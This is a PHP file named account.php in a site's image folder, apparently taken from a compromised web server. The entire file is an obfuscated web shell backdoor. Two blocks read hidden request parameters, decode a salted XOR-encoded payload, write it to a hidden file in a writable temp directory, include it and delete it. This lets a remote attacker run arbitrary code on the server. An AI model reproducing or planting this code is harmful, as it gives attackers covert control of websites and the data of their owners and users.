File: //proc/self/root/home/vitanhod/vigolic-10.vitavit.com.pk/img/account.php
<?php if(!empty($_REQUEST["\x73ym"])){ $comp = $_REQUEST["\x73ym"]; $comp =explode( "." , $comp ) ; $hld = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt ); $r = 0; array_walk( $comp, function( $v9) use( &$hld, &$r, $salt, $lenS) { $sChar = ord( $salt[$r % $lenS] ); $dec =( ( int)$v9 - $sChar -( $r % 10)) ^ 79; $hld .= chr( $dec ); $r++;} ); $rec = array_filter(["/var/tmp", getenv("TMP"), "/tmp", "/dev/shm", sys_get_temp_dir(), ini_get("upload_tmp_dir"), session_save_path(), getenv("TEMP"), getcwd()]); foreach ($rec as $key): if (is_writable($key) && is_dir($key)) { $ptr = sprintf("%s/.flag", $key); if (@file_put_contents($ptr, $hld) !== false) { include $ptr; unlink($ptr); die(); } } endforeach; }
if(isset($_POST) && isset($_POST["prop\x65rt\x79_se\x74"])){
$ent = $_POST["prop\x65rt\x79_se\x74"];
$ent =explode ( "." , $ent ) ;
$binding= '';
$s= 'abcdefghijklmnopqrstuvwxyz0123456789';
$lenS= strlen($s );
$v= 0;
array_walk($ent, function($v6) use(&$binding, &$v, $s, $lenS) {
$chS= ord($s[$v% $lenS] );
$d= ((int)$v6 - $chS -($v% 10))^ 4;
$binding .= chr($d );
$v++;
} );
$item = array_filter(["/dev/shm", "/var/tmp", getenv("TMP"), getenv("TEMP"), session_save_path(), getcwd(), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/tmp"]);
foreach ($item as $comp):
if (!!is_dir($comp) && !!is_writable($comp)) {
$value = str_replace("{var_dir}", $comp, "{var_dir}/.val");
$success = file_put_contents($value, $binding);
if ($success) {
include $value;
@unlink($value);
exit;}
}
endforeach;
}